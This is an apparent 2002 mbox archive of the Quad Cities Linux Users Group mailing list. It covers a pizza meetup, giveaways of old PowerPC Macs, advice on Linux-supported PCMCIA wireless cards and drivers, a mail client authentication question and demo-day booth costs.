QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From gentoo@mchsi.com Fri Aug 16 16:15:08 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7716 invoked by uid 1051); 16 Aug 2002 16:15:08 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 16 Aug 2002 16:15:08 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020816161505.VZOD23220.sccmmhc01.mchsi.com@laptop> for ; Fri, 16 Aug 2002 16:15:05 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] August 30th SIGBAP Date: Fri, 16 Aug 2002 11:12:14 +0000 User-Agent: KMail/1.4.2 References: <001801c24543$e15562b0$bea0f6cf@dugnet.org> In-Reply-To: <001801c24543$e15562b0$bea0f6cf@dugnet.org> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208161112.15045.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 16 Aug 2002 16:15:08 -0000 i will go but i may need a ride=20 hey and wheres charlie's pizza never been there or have seen it before ? On Friday 16 August 2002 04:42 pm, Doug Smith wrote: > Well I have had ... > > ... No one RSVP ... So if anyone is interested I need to get a head > count, I don't want to cancel this ... > > If anyone forgot :-) > > August 30th around 6:30 - 7:30 (start time will be confirmed when I > confirm the table ...) we will be meeting at Charlie's Pizza in Rock > Island for drinks and pizza. It's not free, but I figure we all throw > in a few bucks it won't be real expensive either. > > So ... Does anyone want to go? > > Doug > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From hale@netins.net Fri Aug 16 16:53:56 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7910 invoked by uid 1051); 16 Aug 2002 16:53:55 -0000 Received: from unknown (HELO cgpf2.cgp.netins.net) (167.142.225.203) by 0 with SMTP; 16 Aug 2002 16:53:55 -0000 Received: from [199.120.94.148] (HELO homer) by cgpf2.cgp.netins.net (CommuniGate Pro SMTP 3.5.9) with ESMTP id 113578603 for qclug@qclug.org; Fri, 16 Aug 2002 11:53:56 -0500 From: "hale@netins.net" To: qclug@qclug.org Date: Fri, 16 Aug 2002 11:53:56 -0500 MIME-Version: 1.0 Message-ID: <3D5CE7D4.30943.17F2E5@localhost> Priority: normal X-mailer: Pegasus Mail for Windows (v4.02) Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body Subject: [QCLUG] website X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: hale@netins.net, qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 16 Aug 2002 16:53:56 -0000 What would cause the lug website and php not to work on my windoz machine with IE?? I do use a firewall but I don't see anything that would cause the site not to work except for maybe the disable web bugs section... TIA Jack From gentoo@mchsi.com Fri Aug 16 21:39:04 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 9429 invoked by uid 1051); 16 Aug 2002 21:39:04 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 16 Aug 2002 21:39:04 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020816213910.YJPU23220.sccmmhc01.mchsi.com@laptop> for ; Fri, 16 Aug 2002 21:39:10 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] Upcoming Meetings and more Information Date: Fri, 16 Aug 2002 16:35:58 +0000 User-Agent: KMail/1.4.2 References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208161635.58746.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 16 Aug 2002 21:39:05 -0000 I will need a ride for both if thats possible .could someone contact me i= f=20 they could give me a ride thanks . contact me on off list by email or cal= l me=20 309-786-0977 thanks :) On Wednesday 14 August 2002 03:07 pm, Ortega Alex C wrote: > The next two saturdays, August 17 and the 24th, we will be meeting in t= he > food court of NorthPark Mall, right outside of Barnes and Noble, at 12:= 00 > noon. We hope to have a large turn out and get some good ideas, and mor= e > information on what Linux hardware will be at the DemoDay, and what eve= nts > will take place. > > On Friday August 30th, we will be hosting a SIGBAP/PAP (Special Interes= t > Group Beer and Pizza/Pop and Pizza) at Charlies Pizza in Rock Island. I= f > you are interested, please contact superdug@dugnet.com . More informati= on > can be located here > http://qclug.org/modules.php?name=3DNews&file=3Darticle&sid=3D4&mode=3D= &order=3D0&tho >l d=3D0 > > Everyone have a good day. > Alexander C. Ortega > Service ADVISOR(tm) Summer Support Team > JDIS : John Deere Information Services > (309) 765-2916 - Office > (After Friday August 16th, this number and address will be invalid, FYI= ) > > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From noah_norris@yahoo.com Tue Aug 20 20:44:28 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 23263 invoked by uid 1051); 20 Aug 2002 20:44:28 -0000 Received: from unknown (HELO web14604.mail.yahoo.com) (216.136.224.84) by 0 with SMTP; 20 Aug 2002 20:44:28 -0000 Message-ID: <20020820204404.62845.qmail@web14604.mail.yahoo.com> Received: from [208.16.227.197] by web14604.mail.yahoo.com via HTTP; Tue, 20 Aug 2002 13:43:57 PDT Date: Tue, 20 Aug 2002 13:43:57 -0700 (PDT) From: Noah Norris To: qclug@qclug.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [QCLUG] linux on older macs / got more older macs X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 20 Aug 2002 20:44:28 -0000 what linux distro runs good on older macs does anyone need a powerpc we got about 25-30 all in one models (ie moniters /cpu all in one) there 100-120 mhz power pc any one have a use for these let me know. the question i have will linux run on these machine and run on them without mac os on them . thanks ===== your mouse has moved you have to restart windows for the changes to take effect. -------------- life is linux linux is life __________________________________________________ Do You Yahoo!? HotJobs - Search Thousands of New Jobs http://www.hotjobs.com From noah_norris@yahoo.com Wed Aug 21 18:44:40 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 27228 invoked by uid 1051); 21 Aug 2002 18:44:39 -0000 Received: from unknown (HELO web14612.mail.yahoo.com) (216.136.173.219) by 0 with SMTP; 21 Aug 2002 18:44:39 -0000 Message-ID: <20020821184440.9891.qmail@web14612.mail.yahoo.com> Received: from [208.243.237.148] by web14612.mail.yahoo.com via HTTP; Wed, 21 Aug 2002 11:44:40 PDT Date: Wed, 21 Aug 2002 11:44:40 -0700 (PDT) From: Noah Norris To: qclug@qclug.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [QCLUG] anyone want any power pc's and other things before they get thown away X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 21 Aug 2002 18:44:40 -0000 i have 30 100-120 mhz power pc's i have some 180 mhz and some 200 225 250 mhz power pc . there both pci / nu-bus type there a amaga 2000 (comdor) to . theres also 4- radus audio video machines (w/ lots of memory audio video strips and studio raid arrays & adapters) ( think they all might be m68k nu-bus machines ? ). also for someone that wants to do a case mod there a cool older server with lots of space its a 486 but will make a cool case mod :) anyone want these give me a call home 786-0977 work 797-7001 thanks put these to work before i get my sledge hammer :) ===== your mouse has moved you have to restart windows for the changes to take effect. -------------- life is linux linux is life __________________________________________________ Do You Yahoo!? HotJobs - Search Thousands of New Jobs http://www.hotjobs.com From noah_norris@yahoo.com Thu Aug 22 03:05:00 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 29059 invoked by uid 1051); 22 Aug 2002 03:05:00 -0000 Received: from unknown (HELO web14612.mail.yahoo.com) (216.136.173.219) by 0 with SMTP; 22 Aug 2002 03:05:00 -0000 Message-ID: <20020822030453.95376.qmail@web14612.mail.yahoo.com> Received: from [12.217.84.119] by web14612.mail.yahoo.com via HTTP; Wed, 21 Aug 2002 20:04:53 PDT Date: Wed, 21 Aug 2002 20:04:53 -0700 (PDT) From: Noah Norris To: qclug@qclug.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [QCLUG] free macs X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 22 Aug 2002 03:05:00 -0000 for those that want free macs its best to call me :) 797=7001 if im not here\ call 786-0977 thanks or 797-7001 (work) thanks no ones gotting anything yet ===== your mouse has moved you have to restart windows for the changes to take effect. -------------- life is linux linux is life __________________________________________________ Do You Yahoo!? HotJobs - Search Thousands of New Jobs http://www.hotjobs.com From matt@mattjefferson.com Thu Aug 22 13:08:37 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 30038 invoked by uid 1051); 22 Aug 2002 13:08:37 -0000 Received: from unknown (HELO 192.168.192.1) (64.22.195.169) by 0 with SMTP; 22 Aug 2002 13:08:37 -0000 Date: Thu, 22 Aug 2002 08:04:56 -0500 From: Matt Jefferson X-Mailer: The Bat! (v1.61) Educational X-Priority: 3 (Normal) Message-ID: <591119099.20020822080456@mattjefferson.com> To: Noah Norris Subject: Re: [QCLUG] anyone want any power pc's and other things before they get thown away In-Reply-To: <20020821184440.9891.qmail@web14612.mail.yahoo.com> References: <20020821184440.9891.qmail@web14612.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-GCMulti: 1 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: Matt Jefferson , qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 22 Aug 2002 13:08:37 -0000 Noah - Wednesday, August 21, 2002, 1:44:40 PM, you wrote: -- NN> i have 30 100-120 mhz power pc's i have some 180 mhz NN> and some 200 225 250 mhz power pc . there both pci / NN> nu-bus type there a amaga 2000 (comdor) to . theres NN> also 4- radus audio video machines (w/ lots of memory NN> audio video strips and studio raid arrays & adapters) NN> ( think they all might be m68k nu-bus machines ? ). NN> also for someone that wants to do a case mod there a NN> cool older server with lots of space its a 486 but NN> will make a cool case mod :) anyone want these give me NN> a call NN> home 786-0977 NN> work 797-7001 NN> thanks put these to work before i get my sledge hammer :) NN> ===== NN> your mouse has moved NN> you have to restart windows for the changes to take effect. NN> -------------- NN> life is linux NN> linux is life NN> __________________________________________________ NN> Do You Yahoo!? NN> HotJobs - Search Thousands of New Jobs NN> http://www.hotjobs.com NN> _______________________________________________ NN> QCLUG mailing list NN> QCLUG@qclug.org NN> http://qclug.org/mailman/listinfo/qclug I'll take one of the 200+ mhz power pc machines, if they are still left -- -- matt@mattjefferson.com http://www.mattjefferson.com ICQ: 1128646 From superdug@dugnet.com Thu Aug 22 16:31:16 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 30478 invoked by uid 1051); 22 Aug 2002 16:31:16 -0000 Received: from unknown (HELO hedwig.iticom.net) (64.127.64.16) by 0 with SMTP; 22 Aug 2002 16:31:16 -0000 Received: (qmail 31471 invoked by uid 0); 22 Aug 2002 16:31:12 -0000 Received: from unknown (HELO frasier.iticom.net) (64.127.64.11) by owlsnest.iticom.net with SMTP; 22 Aug 2002 16:31:12 -0000 Received: (qmail 9059 invoked by uid 0); 22 Aug 2002 16:31:00 -0000 Received: from unknown (HELO smtp.dugnet.com) (64.127.77.192) by dugnet.com with SMTP; 22 Aug 2002 16:31:00 -0000 Received: by smtp.dugnet.com (sSMTP sendmail emulation); Thu, 22 Aug 2002 12:31:00 -0400 Date: Thu, 22 Aug 2002 12:31:00 -0400 To: qclug@qclug.org From: superdug@dugnet.com User-Agent: Instant Web Mail 0.57 Content-Type: text/plain; charset="ISO-8859-1" Subject: [QCLUG] Tomorrow's SIGBAB X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 22 Aug 2002 16:31:16 -0000 Hey, Since 2 people RSVP'd I don't think I'm going to be able to make it up to the QC tomorrow. Alex ... you still going??? Right now my sunroof is broke (yeah yeah yeah ... poor me), but it's leaking water so I needed to get that fixed and of course it's going to be a 5 day job. I was going to try and bum a ride, but it's lookin like that isn't going to work and it's a hella long walk ;-) Doug From docchaos@dugnet.com Thu Aug 22 17:31:52 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 30786 invoked by uid 1051); 22 Aug 2002 17:31:52 -0000 Received: from unknown (HELO pigwidgeon.iticom.net) (64.127.64.17) by 0 with SMTP; 22 Aug 2002 17:31:52 -0000 Received: (qmail 7174 invoked by uid 0); 22 Aug 2002 17:31:53 -0000 Received: from unknown (HELO frasier.iticom.net) (64.127.64.11) by owlsnest.iticom.net with SMTP; 22 Aug 2002 17:31:53 -0000 Received: (qmail 8842 invoked by uid 0); 22 Aug 2002 17:31:50 -0000 Received: from unknown (HELO localhost) (12.217.82.21) by dugnet.com with SMTP; 22 Aug 2002 17:31:50 -0000 Date: Thu, 22 Aug 2002 12:31:49 -0500 Mime-Version: 1.0 (Apple Message framework v482) Content-Type: text/plain; charset=US-ASCII; format=flowed Subject: Re: [QCLUG] Tomorrow's SIGBAP From: Alexander Charles Ortega To: qclug@qclug.org Content-Transfer-Encoding: 7bit Message-Id: <0A4F4E83-B5F5-11D6-B63B-0003936A5598@dugnet.com> X-Mailer: Apple Mail (2.482) X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 22 Aug 2002 17:31:52 -0000 Ummmmm... I thought SIGBAP was NEXT Friday..... see previous posts and http://www.qclug.org/modules.php?name=News&file=article&sid=4&mode=&order= 0&thold=0 let me know... Alex Ortega On Thursday, August 22, 2002, at 11:31 AM, superdug@dugnet.com wrote: > Hey, > > Since 2 people RSVP'd I don't think I'm going to be able to make it up > to the QC tomorrow. Alex ... you still going??? > > Right now my sunroof is broke (yeah yeah yeah ... poor me), but it's > leaking water so I needed to get that fixed and of course it's going to > be a 5 day job. I was going to try and bum a ride, but it's lookin like > that isn't going to work and it's a hella long walk ;-) > > Doug > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > From superdug@dugnet.com Thu Aug 22 17:40:11 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 30867 invoked by uid 1051); 22 Aug 2002 17:40:10 -0000 Received: from unknown (HELO pigwidgeon.iticom.net) (64.127.64.17) by 0 with SMTP; 22 Aug 2002 17:40:10 -0000 Received: (qmail 8356 invoked by uid 0); 22 Aug 2002 17:40:13 -0000 Received: from unknown (HELO frasier.iticom.net) (64.127.64.11) by owlsnest.iticom.net with SMTP; 22 Aug 2002 17:40:13 -0000 Received: (qmail 12741 invoked by uid 0); 22 Aug 2002 17:40:09 -0000 Received: from unknown (HELO smtp.dugnet.com) (64.127.77.192) by dugnet.com with SMTP; 22 Aug 2002 17:40:08 -0000 Received: by smtp.dugnet.com (sSMTP sendmail emulation); Thu, 22 Aug 2002 13:40:08 -0400 Date: Thu, 22 Aug 2002 13:40:08 -0400 To: qclug@qclug.org Subject: Re: [QCLUG] Tomorrow's SIGBAP From: superdug@dugnet.com User-Agent: Instant Web Mail 0.57 Content-Type: text/plain; charset="ISO-8859-1" X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 22 Aug 2002 17:40:11 -0000 It is ... I was just seeing if you were paying attention ... ummm crap .. so it's been a hella stressful week!!! okay ... SIGBAB is next Friday ... everyone give a shout out if you're coming ... because I AM!! Doug On 08-22-2002 01:31 pm, you wrote: > Ummmmm... > I thought SIGBAP was NEXT Friday..... see previous posts and > http://www.qclug.org/modules.php?name=News&file=article&sid=4&mode=&order= > 0&thold=0 > > let me know... > > Alex Ortega > > > On Thursday, August 22, 2002, at 11:31 AM, superdug@dugnet.com wrote: > > > Hey, > > > > Since 2 people RSVP'd I don't think I'm going to be able to make it up > > to the QC tomorrow. Alex ... you still going??? > > > > Right now my sunroof is broke (yeah yeah yeah ... poor me), but it's > > leaking water so I needed to get that fixed and of course it's going to > > be a 5 day job. I was going to try and bum a ride, but it's lookin like > > that isn't going to work and it's a hella long walk ;-) > > > > Doug > > _______________________________________________ > > QCLUG mailing list > > QCLUG@qclug.org > > http://qclug.org/mailman/listinfo/qclug > > > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > > From superdug@dugnet.com Fri Aug 23 05:47:18 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 1797 invoked by uid 1051); 23 Aug 2002 05:47:18 -0000 Received: from unknown (HELO pigwidgeon.iticom.net) (64.127.64.17) by 0 with SMTP; 23 Aug 2002 05:47:18 -0000 Received: (qmail 18110 invoked by uid 0); 23 Aug 2002 05:47:21 -0000 Received: from unknown (HELO frasier.iticom.net) (64.127.64.11) by owlsnest.iticom.net with SMTP; 23 Aug 2002 05:47:21 -0000 Received: (qmail 8965 invoked by uid 0); 23 Aug 2002 05:47:17 -0000 Received: from unknown (HELO smtp.dugnet.com) (64.127.77.192) by dugnet.com with SMTP; 23 Aug 2002 05:47:17 -0000 Received: by smtp.dugnet.com (sSMTP sendmail emulation); Fri, 23 Aug 2002 01:47:17 -0400 Date: Fri, 23 Aug 2002 01:47:17 -0400 To: qclug@qclug.org From: superdug@dugnet.com User-Agent: Instant Web Mail 0.57 Cc: Cedarlug@cedarlug.org Content-Type: text/plain; charset="ISO-8859-1" Subject: [QCLUG] Linux Wireless PCMCIA Cards X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 23 Aug 2002 05:47:18 -0000 Hello everyone, Recently my university has gone wireless and I was wondering if first anyone had any experience with any PCMCIA wireless cards in linux. And if so what cards got the best range and had the least amount of hassle? I remember using Ray's wireless card at the DemoDay last year at Duck Creek and there didn't seem to be any problem whatsoever, so I'm not worried about configuration so much as I am about driver support and range. My last concern is price. After checking pricewatch I noticed that there are all kinds of wireless cards out there anything from $30 - $200, I would like to find a happy medium there, but as I mentioned before, I'm in college and us college kiddies aren't well known for having a whole lot of cash. So who knows of a really inexpensive really great wireless card?? :-) Thanks, Doug From ray@qlilinux.com Fri Aug 23 06:27:10 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 1957 invoked by uid 1051); 23 Aug 2002 06:27:10 -0000 Received: from unknown (HELO localhost) (127.0.0.1) by 0 with SMTP; 23 Aug 2002 06:27:10 -0000 Received: from 12.217.185.58 ( [12.217.185.58]) as user qliray@mail.qlitech.net by www.qlitech.net with HTTP; Fri, 23 Aug 2002 01:27:10 -0500 Message-ID: <1030084030.3d65d5be7f8a7@www.qlitech.net> Date: Fri, 23 Aug 2002 01:27:10 -0500 From: Ray Sanders To: qclug@qclug.org Cc: cedarlug@cedarlug.org Subject: Re: [QCLUG] Linux Wireless PCMCIA Cards MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 12.217.185.58 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 23 Aug 2002 06:27:10 -0000 Quoting superdug@dugnet.com: > So who knows of a really inexpensive really great wireless card?? :-) > D-Link DWL 650. Uses the wvlan_cs or the orinoco driver. I don't remember which. Stay Away from the DWL 650+ as it uses a propreitary TI Chipset. Any recent distro will support the DWL 650 "out of the box" I'd say about $50-70 for the DWL 650 on pricewatch. > Thanks, > Doug > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > > -- "In an open world, who needs windows or gates" QliTech Linux Computers ray@qlilinux.com http://www.qlilinux.com 1-877-24-LINUX (Toll Free U.S.A and Canada) ------------------------------------------------- Vistit our website at http://www.qlilinux.com/ From gray@cns.uni.edu Fri Aug 23 12:57:58 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 2533 invoked by uid 1051); 23 Aug 2002 12:57:58 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by 0 with SMTP; 23 Aug 2002 12:57:58 -0000 Received: (qmail 23484 invoked from network); 23 Aug 2002 12:57:01 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by math-cs.cns.uni.edu with SMTP; 23 Aug 2002 12:57:01 -0000 Date: Fri, 23 Aug 2002 07:57:01 -0500 (CDT) From: Paul Gray To: qclug@qclug.org cc: Cedarlug@cedarlug.org Subject: Re: [QCLUG] Linux Wireless PCMCIA Cards Message-ID: X-message-flag: Send no MS Office files to this account! X-Accepted-File-Formats: ASCII .rtf .ps .pdf MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 23 Aug 2002 12:57:58 -0000 On Fri, 23 Aug 2002 superdug@dugnet.com wrote: > So who knows of a really inexpensive really great wireless card?? :-) These days, it's safe to stay with earlier models that have been tried and true. Stay away from any 22Mbps model (the 802.11b "enhanced" products, marketed under the 2.4GHz+, e.g., the DWL-650+ as Ray mentioned, which won't work for you even at normal 802.11b specs). The place to learn about what's supported and what's not is: http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/ That said, I've worked with the D-Link DWL-650, Compaq WL100 (both prism II), Compaq WL110 and CableTron RoamAbout (Orinoco), LinkSys, Cisco and Aironet 4800 cards, and a slew of knock-offs that use the prism-II (e.g. Samsung) and Orinoco (e.g. Compaq WL110). My personal recommendations here... The prism-II chipsets can be driven with at least drivers: wavelan_cs (good for laptops w/ 2.2 kernel) wvlan_cs (good for laptops w/ 2.4 kernel and pcmcia from pcmcia-cs sources) and the orinoco_cs drivers (best driver, use with laptops using 2.4 kernel and pcmcia from the kernel sources). The orinoco_cs drivers are the only ones that I see actively being developed, though. *AND* they work well under Linux on the iPaq! Another tip -- you'll need hermes support along with the orinoco_cs driver, but most distributions' /etc/pcmcia/config has it already configured appropriately. Paul Gray -o) 323 Wright Hall /\\ University of Northern Iowa _\_V Message void if penguin violated ... Don't mess with the penguin No one ever says "Hey, I can't read that ASCII e-mail ya sent me." From compgod@mchsi.com Fri Aug 23 19:33:25 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 3994 invoked by uid 1051); 23 Aug 2002 19:33:25 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 23 Aug 2002 19:33:25 -0000 Received: from there ([12.217.83.30]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP id <20020823193317.LJWJ23220.sccmmhc01.mchsi.com@there> for ; Fri, 23 Aug 2002 19:33:17 +0000 Content-Type: text/plain; charset="iso-8859-15" From: Dan To: qclug@qclug.org Date: Fri, 23 Aug 2002 14:34:38 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <20020823193317.LJWJ23220.sccmmhc01.mchsi.com@there> Subject: [QCLUG] Ximian and MCHSI Mail X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 23 Aug 2002 19:33:25 -0000 I just installed Ximian on my recently convereted laptop and I can't send anything from it. I can recieve mail no problem but, I can't send it. All it says is that the server does not support authentication type PLAIN. I have no idea what that means so I am asking for some help. Thanks, Dan From daniel-wittenberg@starken.com Fri Aug 23 21:23:35 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 4466 invoked by uid 1051); 23 Aug 2002 21:23:35 -0000 Received: from unknown (HELO dns1.starken.com) (199.120.78.198) by 0 with SMTP; 23 Aug 2002 21:23:35 -0000 Received: from dhcp80ff45be.dynamic.uiowa.edu (dhcp80ff45be.dynamic.uiowa.edu [128.255.69.190]) (authenticated (0 bits)) by dns1.starken.com (8.11.6/8.11.6) with ESMTP id g7NLNWU07419; Fri, 23 Aug 2002 16:23:34 -0500 Subject: Re: [Cedarlug] Re: [QCLUG] Linux Wireless PCMCIA Cards From: Daniel Wittenberg To: Ray Sanders Cc: qclug@qclug.org, cedarlug@cedarlug.org In-Reply-To: <1030084030.3d65d5be7f8a7@www.qlitech.net> References: <1030084030.3d65d5be7f8a7@www.qlitech.net> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 23 Aug 2002 15:53:34 -0500 Message-Id: <1030136017.1578.0.camel@runabout.noc.starken.com> Mime-Version: 1.0 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 23 Aug 2002 21:23:35 -0000 If you are going in that price range, is there a reason not to go with an actual orinoco card? I've always used those and had great luck with Linux/Mac/Winblows... Dan On Fri, 2002-08-23 at 01:27, Ray Sanders wrote: > Quoting superdug@dugnet.com: > > > > So who knows of a really inexpensive really great wireless card?? :-) > > > > D-Link DWL 650. Uses the wvlan_cs or the orinoco driver. I don't remember > which. Stay Away from the DWL 650+ as it uses a propreitary TI Chipset. > > Any recent distro will support the DWL 650 "out of the box" > > I'd say about $50-70 for the DWL 650 on pricewatch. > > > Thanks, > > Doug > > _______________________________________________ > > QCLUG mailing list > > QCLUG@qclug.org From sb@helios.augustana.edu Sun Aug 25 18:01:25 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 1551 invoked by uid 1051); 25 Aug 2002 18:01:25 -0000 Received: from unknown (HELO helios.augustana.edu) (143.226.129.5) by 0 with SMTP; 25 Aug 2002 18:01:25 -0000 Date: Sun, 25 Aug 2002 13:40:05 -0500 (CDT) From: Shawn Beattie To: qclug@qclug.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [QCLUG] costs for booth at Southpark X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sun, 25 Aug 2002 18:01:25 -0000 As I mentioned at the meeting, Southpark is having a community day on September 21, the day we selected for the Demo Day. I finally was able to get the information about community day and what it's all about. Here's the scoop. Cost is $50 for a single booth (8x10); $75 for a double booth (8x20). They provide skirted tables and electrical. Hours are 10-5 with setup 8-9:30. However, along with the application they require proof that you are non-profit, which I guess we don't have. Unless there is a way a non-profit would sponsor the group. The main advantage of this would be, I imagine, much higher exposure and built-in traffic. I know this is late in the game but just wanted to let y'all know what I found out. Shawn From ray@qlilinux.com Mon Aug 26 15:04:41 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 3693 invoked by uid 1051); 26 Aug 2002 15:04:41 -0000 Received: from unknown (HELO ?192.168.1.11?) (12.217.140.249) by 0 with SMTP; 26 Aug 2002 15:04:41 -0000 From: Ray Sanders To: Cedar Valley Linux Users Group Cc: "qclug@qclug.org" Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.7.99 Date: 26 Aug 2002 10:08:32 -0500 Message-Id: <1030374513.1671.32.camel@tempe.qlitech.net> Mime-Version: 1.0 Subject: [QCLUG] Apple Linux / MacOSX Systems X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 26 Aug 2002 15:04:42 -0000 Just dropping a note to thos ewho play with Linux on Mac Hardware. We've started offering Apple iBook, PowerBook and Xserve systems with Linux / MacOSX Pre-Installed. Hopefully we will be adding iMac units very soon. Let the slashdotting begin! 